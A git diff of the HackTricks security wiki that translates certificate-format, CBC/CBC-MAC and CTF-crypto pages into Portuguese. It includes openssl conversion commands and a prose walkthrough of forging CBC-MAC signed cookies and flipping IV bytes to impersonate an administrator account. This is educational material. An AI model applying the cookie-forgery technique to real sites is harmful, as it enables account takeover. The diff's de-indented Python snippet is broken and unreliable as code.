+- Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem a singularidade e rastreabilidade das chaves.
+- **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e checar o status de revogação do certificado.
+- **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado.
 ```python
 # Example of accessing and using x509 certificate fields programmatically:
 from cryptography import x509
@@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
 
 # Load an x509 certificate (assuming cert.pem is a certificate file)
 with open("cert.pem", "rb") as file:
-    cert_data = file.read()
-    certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
+cert_data = file.read()
+certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
 
 # Accessing fields
 serial_number = certificate.serial_number
@@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
 print(f"Subject: {subject}")
 print(f"Public Key: {public_key}")
 ```
+### **Diferença entre OCSP e Pontos de Distribuição CRL**
 
-### **Difference between OCSP and CRL Distribution Points**
+**OCSP** (**RFC 2560**) envolve um cliente e um respondedor trabalhando juntos para verificar se um certificado digital de chave pública foi revogado, sem a necessidade de baixar o **CRL** completo. Este método é mais eficiente do que o tradicional **CRL**, que fornece uma lista de números de série de certificados revogados, mas requer o download de um arquivo potencialmente grande. Os CRLs podem incluir até 512 entradas. Mais detalhes estão disponíveis [aqui](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
 
-**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
+### **O que é Transparência de Certificado**
 
-### **What is Certificate Transparency**
+A Transparência de Certificado ajuda a combater ameaças relacionadas a certificados, garantindo que a emissão e a existência de certificados SSL sejam visíveis para proprietários de domínios, CAs e usuários. Seus objetivos são:
 
-Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
+- Prevenir que CAs emitam certificados SSL para um domínio sem o conhecimento do proprietário do domínio.
+- Estabelecer um sistema de auditoria aberto para rastrear certificados emitidos por engano ou maliciosamente.
+- Proteger os usuários contra certificados fraudulentos.
 
-- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
-- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
-- Safeguarding users against fraudulent certificates.
+#### **Registros de Certificado**
 
-#### **Certificate Logs**
+Registros de certificado são registros auditáveis publicamente, apenas para adição, de certificados, mantidos por serviços de rede. Esses registros fornecem provas criptográficas para fins de auditoria. Tanto as autoridades de emissão quanto o público podem enviar certificados para esses registros ou consultá-los para verificação. Embora o número exato de servidores de registro não seja fixo, espera-se que seja inferior a mil globalmente. Esses servidores podem ser gerenciados de forma independente por CAs, ISPs ou qualquer entidade interessada.
 
-Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
+#### **Consulta**
 
-#### **Query**
+Para explorar os registros de Transparência de Certificado para qualquer domínio, visite [https://crt.sh/](https://crt.sh).
 
-To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
+Existem diferentes formatos para armazenar certificados, cada um com seus próprios casos de uso e compatibilidade. Este resumo cobre os principais formatos e fornece orientações sobre como converter entre eles.
 
-Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
+## **Formatos**
 
-## **Formats**
+### **Formato PEM**
 
-### **PEM Format**
+- Formato mais amplamente utilizado para certificados.
+- Requer arquivos separados para certificados e chaves privadas, codificados em Base64 ASCII.
+- Extensões comuns: .cer, .crt, .pem, .key.
+- Principalmente usado por Apache e servidores similares.
 
-- Most widely used format for certificates.
-- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
-- Common extensions: .cer, .crt, .pem, .key.
-- Primarily used by Apache and similar servers.
+### **Formato DER**
 
-### **DER Format**
+- Um formato binário de certificados.
+- Não possui as declarações "BEGIN/END CERTIFICATE" encontradas em arquivos PEM.
+- Extensões comuns: .cer, .der.
+- Frequentemente usado com plataformas Java.
 
-- A binary format of certificates.
-- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
-- Common extensions: .cer, .der.
-- Often used with Java platforms.
+### **Formato P7B/PKCS#7**
 
-### **P7B/PKCS#7 Format**
+- Armazenado em Base64 ASCII, com extensões .p7b ou .p7c.
+- Contém apenas certificados e certificados de cadeia, excluindo a chave privada.
+- Suportado pelo Microsoft Windows e Java Tomcat.
 
-- Stored in Base64 ASCII, with extensions .p7b or .p7c.
-- Contains only certificates and chain certificates, excluding the private key.
-- Supported by Microsoft Windows and Java Tomcat.
+### **Formato PFX/P12/PKCS#12**
 
-### **PFX/P12/PKCS#12 Format**
+- Um formato binário que encapsula certificados de servidor, certificados intermediários e chaves privadas em um único arquivo.
+- Extensões: .pfx, .p12.
+- Principalmente usado no Windows para importação e exportação de certificados.
 
-- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
-- Extensions: .pfx, .p12.
-- Mainly used on Windows for certificate import and export.
+### **Convertendo Formatos**
 
-### **Converting Formats**
-
-**PEM conversions** are essential for compatibility:
-
-- **x509 to PEM**
+**Conversões PEM** são essenciais para compatibilidade:
 
+- **x509 para PEM**
 ```bash
 openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
 ```
-
-- **PEM to DER**
-
+- **PEM para DER**
 ```bash
 openssl x509 -outform der -in certificatename.pem -out certificatename.der
 ```
-
-- **DER to PEM**
-
+- **DER para PEM**
 ```bash
 openssl x509 -inform der -in certificatename.der -out certificatename.pem
 ```
-
-- **PEM to P7B**
-
+- **PEM para P7B**
 ```bash
 openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
 ```
-
-- **PKCS7 to PEM**
-
+- **PKCS7 para PEM**
 ```bash
 openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
 ```
+**Conversões PFX** são cruciais para gerenciar certificados no Windows:
 
-**PFX conversions** are crucial for managing certificates on Windows:
-
-- **PFX to PEM**
-
+- **PFX para PEM**
 ```bash
 openssl pkcs12 -in certificatename.pfx -out certificatename.pem
 ```
-
-- **PFX to PKCS#8** involves two steps:
-  1. Convert PFX to PEM
-
+- **PFX para PKCS#8** envolve duas etapas:
+1. Converter PFX para PEM
 ```bash
 openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
 ```
-
-2. Convert PEM to PKCS8
-
+2. Converter PEM para PKCS8
 ```bash
 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
 ```
-
-- **P7B to PFX** also requires two commands:
-  1. Convert P7B to CER
-
+- **P7B para PFX** também requer dois comandos:
+1. Converter P7B para CER
 ```bash
 openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
 ```
-
-2. Convert CER and Private Key to PFX
-
+2. Converter CER e Chave Privada para PFX
 ```bash
 openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
 ```
-
-- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
-  1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
-
+- **Edição ASN.1 (DER/PEM)** (funciona com certificados ou quase qualquer outra estrutura ASN.1):
+1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
 ```bash
 git clone https://github.com/wllm-rbnt/asn1template.git
 ```
-
-2. Convert DER/PEM to OpenSSL's generation format
-
+2. Converter DER/PEM para o formato de geração do OpenSSL
 ```bash
 asn1template/asn1template.pl certificatename.der > certificatename.tpl
 asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
 ```
-
-3. Edit certificatename.tpl according to your requirements
-
+3. Edite certificatename.tpl de acordo com suas necessidades
 ```bash
 vim certificatename.tpl
 ```
-
-4. Rebuild the modified certificate
-
+4. Reconstruir o certificado modificado
 ```bash
 openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
 openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
 ```
-
 ---
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
index 47f1b2713..a5d5b8747 100644
--- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
+++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
@@ -2,54 +2,54 @@
 
 # CBC
 
-If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
+Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você quiser se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **bruteforçar** o **primeiro byte** do cookie.
 
 # CBC-MAC
 
-**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
+**Código de autenticação de mensagem em encadeamento de bloco** (**CBC-MAC**) é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada à anterior. Esse processo cria uma **cadeia de blocos**, garantindo que mudar até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança.
 
-To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
+Para calcular o CBC-MAC da mensagem m, criptografa-se m em modo CBC com vetor de inicialização zero e mantém-se o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E:
 
 ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]()
 
-# Vulnerability
+# Vulnerabilidade
 
-With CBC-MAC usually the **IV used is 0**.\
-This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
+Com o CBC-MAC, geralmente o **IV usado é 0**.\
+Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então:
 
 - `E(m1 XOR 0) = s1`
 - `E(m2 XOR 0) = s2`
 
-Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
+Então, uma mensagem composta por m1 e m2 concatenados (m3) gerará 2 assinaturas (s31 e s32):
 
 - `E(m1 XOR 0) = s31 = s1`
 - `E(m2 XOR s1) = s32`
 
-**Which is possible to calculate without knowing the key of the encryption.**
+**O que é possível calcular sem conhecer a chave da criptografia.**
 
-Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
+Imagine que você está criptografando o nome **Administrator** em blocos de **8bytes**:
 
 - `Administ`
 - `rator\00\00\00`
 
-You can create a username called **Administ** (m1) and retrieve the signature (s1).\
-Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
-now, you can use s32 as the signature of the full name **Administrator**.
+Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\
+Então, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\
+Agora, você pode usar s32 como a assinatura do nome completo **Administrator**.
 
-### Summary
+### Resumo
 
-1. Get the signature of username **Administ** (m1) which is s1
-2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
-3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
+1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1
+2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** que é s32**.**
+3. Defina o cookie para s32 e será um cookie válido para o usuário **Administrator**.
 
-# Attack Controlling IV
+# Ataque Controlando IV
 
-If you can control the used IV the attack could be very easy.\
-If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
-Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
+Se você puder controlar o IV usado, o ataque pode ser muito fácil.\
+Se os cookies forem apenas o nome de usuário criptografado, para se passar pelo usuário "**administrator**" você pode criar o usuário "**Administrator**" e obter seu cookie.\
+Agora, se você puder controlar o IV, pode mudar o primeiro byte do IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrator.** Este cookie será válido para **se passar** pelo usuário **administrator** com o **IV** inicial.
 
-## References
+## Referências
 
-More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
+Mais informações em [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md
index bb2b5f049..c14a18032 100644
--- a/src/crypto-and-stego/crypto-ctfs-tricks.md
+++ b/src/crypto-and-stego/crypto-ctfs-tricks.md
@@ -1,10 +1,10 @@
-# Crypto CTFs Tricks
+# Truques de Crypto CTFs
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Online Hashes DBs
+## DBs de Hashes Online
 
-- _**Google it**_
+- _**Pesquise no Google**_
 - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
 - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
 - [https://crackstation.net/](https://crackstation.net)
@@ -16,124 +16,119 @@
 - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
 - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
 
-## Magic Autosolvers
+## Solucionadores Automáticos Mágicos
 
 - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
-- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
+- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Módulo Mágico)
 - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
 - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
 
-## Encoders
+## Codificadores
 
-Most of encoded data can be decoded with these 2 ressources:
+A maioria dos dados codificados pode ser decodificada com esses 2 recursos:
 
 - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
 - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
 
-### Substitution Autosolvers
+### Solucionadores Automáticos de Substituição
 
 - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
-- [https://quipqiup.com/](https://quipqiup.com) - Very good !
+- [https://quipqiup.com/](https://quipqiup.com) - Muito bom!
 
-#### Caesar - ROTx Autosolvers
+#### Solucionadores Automáticos de César - ROTx
 
 - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
 
-#### Atbash Cipher
+#### Cifra Atbash
 
 - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
 
-### Base Encodings Autosolver
+### Solucionador Automático de Codificações Base
 
-Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
+Verifique todas essas bases com: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
 
 - **Ascii85**
-  - `BQ%]q@psCd@rH0l`
+- `BQ%]q@psCd@rH0l`
 - **Base26** \[_A-Z_]
-  - `BQEKGAHRJKHQMVZGKUXNT`
+- `BQEKGAHRJKHQMVZGKUXNT`
 - **Base32** \[_A-Z2-7=_]
-  - `NBXWYYLDMFZGCY3PNRQQ====`
+- `NBXWYYLDMFZGCY3PNRQQ====`
 - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
-  - `pbzsaamdcf3gna5xptoo====`
+- `pbzsaamdcf3gna5xptoo====`
 - **Base32 Geohash** \[_0-9b-hjkmnp-z_]
-  - `e1rqssc3d5t62svgejhh====`
+- `e1rqssc3d5t62svgejhh====`
 - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
-  - `D1QPRRB3C5S62RVFDHGG====`
-- **Base32 Extended Hexadecimal** \[_0-9A-V_]
-  - `D1NMOOB3C5P62ORFDHGG====`
+- `D1QPRRB3C5S62RVFDHGG====`
+- **Base32 Hexadecimal Estendida** \[_0-9A-V_]
+- `D1NMOOB3C5P62ORFDHGG====`
 - **Base45** \[_0-9A-Z $%\*+-./:_]
-  - `59DPVDGPCVKEUPCPVD`
+- `59DPVDGPCVKEUPCPVD`
 - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
-  - `2yJiRg5BF9gmsU6AC`
+- `2yJiRg5BF9gmsU6AC`
 - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
-  - `2YiHqF5bf9FLSt6ac`
+- `2YiHqF5bf9FLSt6ac`
 - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
-  - `pyJ5RgnBE9gm17awU`
+- `pyJ5RgnBE9gm17awU`
 - **Base62** \[_0-9A-Za-z_]
-  - `g2AextRZpBKRBzQ9`
+- `g2AextRZpBKRBzQ9`
 - **Base64** \[_A-Za-z0-9+/=_]
-  - `aG9sYWNhcmFjb2xh`
+- `aG9sYWNhcmFjb2xh`
 - **Base67** \[_A-Za-z0-9-_.!\~\_]
-  - `NI9JKX0cSUdqhr!p`
+- `NI9JKX0cSUdqhr!p`
 - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
-  - `BQ%]q@psCd@rH0l`
+- `BQ%]q@psCd@rH0l`
 - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
-  - `<~BQ%]q@psCd@rH0l~>`
-- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
-  - `Xm4y`V\_|Y(V{dF>\`
+- `<~BQ%]q@psCd@rH0l~>`
+- **Base85 (IPv6 ou RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
+- `Xm4y`V\_|Y(V{dF>\`
 - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
-  - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
+- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
 - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
-  - `Xm4y|V{~Y+V}dF?`
+- `Xm4y|V{~Y+V}dF?`
 - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
-  - `frDg[*jNN!7&BQM`
+- `frDg[*jNN!7&BQM`
 - **Base100** \[]
-  - `👟👦👣👘👚👘👩👘👚👦👣👘`
+- `👟👦👣👘👚👘👩👘👚👦👣👘`
 - **Base122** \[]
-  - `4F ˂r0Xmvc`
+- `4F ˂r0Xmvc`
 - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
-  - `MIc3KiXa+Ihz+lrXMIc3KbCC`
+- `MIc3KiXa+Ihz+lrXMIc3KbCC`
 - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
-  - `DmPsv8J7qrlKEoY7`
+- `DmPsv8J7qrlKEoY7`
 - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
-  - `kLD8iwKsigSalLJ5`
+- `kLD8iwKsigSalLJ5`
 - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
-  - `ayRiIo1gpO+uUc7g`
+- `ayRiIo1gpO+uUc7g`
 - **ESAB46** \[]
-  - `3sHcL2NR8WrT7mhR`
+- `3sHcL2NR8WrT7mhR`
 - **MEGAN45** \[]
-  - `kLD8igSXm2KZlwrX`
+- `kLD8igSXm2KZlwrX`
 - **TIGO3FX** \[]
-  - `7AP9mIzdmltYmIP9mWXX`
+- `7AP9mIzdmltYmIP9mWXX`
 - **TRIPO5** \[]
-  - `UE9vSbnBW6psVzxB`
+- `UE9vSbnBW6psVzxB`
 - **FERON74** \[]
-  - `PbGkNudxCzaKBm0x`
+- `PbGkNudxCzaKBm0x`
 - **GILA7** \[]
-  - `D+nkv8C1qIKMErY1`
+- `D+nkv8C1qIKMErY1`
 - **Citrix CTX1** \[]
-  - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
+- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
 
-[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
 
 ### HackerizeXS \[_╫Λ↻├☰┏_]
-
 ```
 ╫☐↑Λ↻Λ┏Λ↻☐↑Λ
 ```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
 
 ### Morse
-
 ```
 .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
 ```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Morto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
 
 ### UUencoder
-
 ```
 begin 644 webutils_pl
 M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@@ -142,98 +137,81 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
 `
 end
 ```
-
 - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
 
 ### XXEncoder
-
 ```
 begin 644 webutils_pl
 hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
 5Hol-G2xAEE++
 end
 ```
-
 - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
 
 ### YEncoder
-
 ```
 =ybegin line=128 size=28 name=webutils_pl
 ryvkryvkryvkryvkryvkryvkryvk
 =yend size=28 crc32=35834c86
 ```
-
 - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
 
 ### BinHex
-
 ```
 (This file must be converted with BinHex 4.0)
 :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
 -38K26%'d9J!!:
 ```
-
 - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
 
 ### ASCII85
-
 ```
 <~85DoF85DoF85DoF85DoF85DoF85DoF~>
 ```
-
 - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
 
-### Dvorak keyboard
-
+### Teclado Dvorak
 ```
 drnajapajrna
 ```
-
 - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
 
 ### A1Z26
 
-Letters to their numerical value
-
+Letras para seu valor numérico
 ```
 8 15 12 1 3 1 18 1 3 15 12 1
 ```
+### Codificação de Cifra Afim
 
-### Affine Cipher Encode
-
-Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
-
+Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para a letra
 ```
 krodfdudfrod
 ```
+### Código SMS
 
-### SMS Code
+**Multitap** [substitui uma letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos pelo código da tecla correspondente em um [teclado de telefone](https://www.dcode.fr/phone-keypad-cipher) (Este modo é usado ao escrever SMS).\
+Por exemplo: 2=A, 22=B, 222=C, 3=D...\
+Você pode identificar este código porque verá\*\* vários números repetidos\*\*.
 
-**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
-For example: 2=A, 22=B, 222=C, 3=D...\
-You can identify this code because you will see\*\* several numbers repeated\*\*.
+Você pode decodificar este código em: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
 
-You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
-
-### Bacon Code
-
-Substitude each letter for 4 As or Bs (or 1s and 0s)
+### Código Bacon
 
+Substitua cada letra por 4 As ou Bs (ou 1s e 0s)
 ```
 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
 ```
-
 ### Runes
 
 ![](../images/runes.jpg)
 
-## Compression
+## Compressão
 
-**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
+**Raw Deflate** e **Raw Inflate** (você pode encontrar ambos no Cyberchef) podem comprimir e descomprimir dados sem cabeçalhos.
 
-## Easy Crypto
+## Cripto Fácil
 
 ### XOR - Autosolver
 
@@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
 
 ### Bifid
 
-A keywork is needed
-
+Uma palavra-chave é necessária
 ```
 fgaargaamnlunesuneoa
 ```
-
 ### Vigenere
 
-A keywork is needed
-
+Uma palavra-chave é necessária
 ```
 wodsyoidrods
 ```
-
 - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
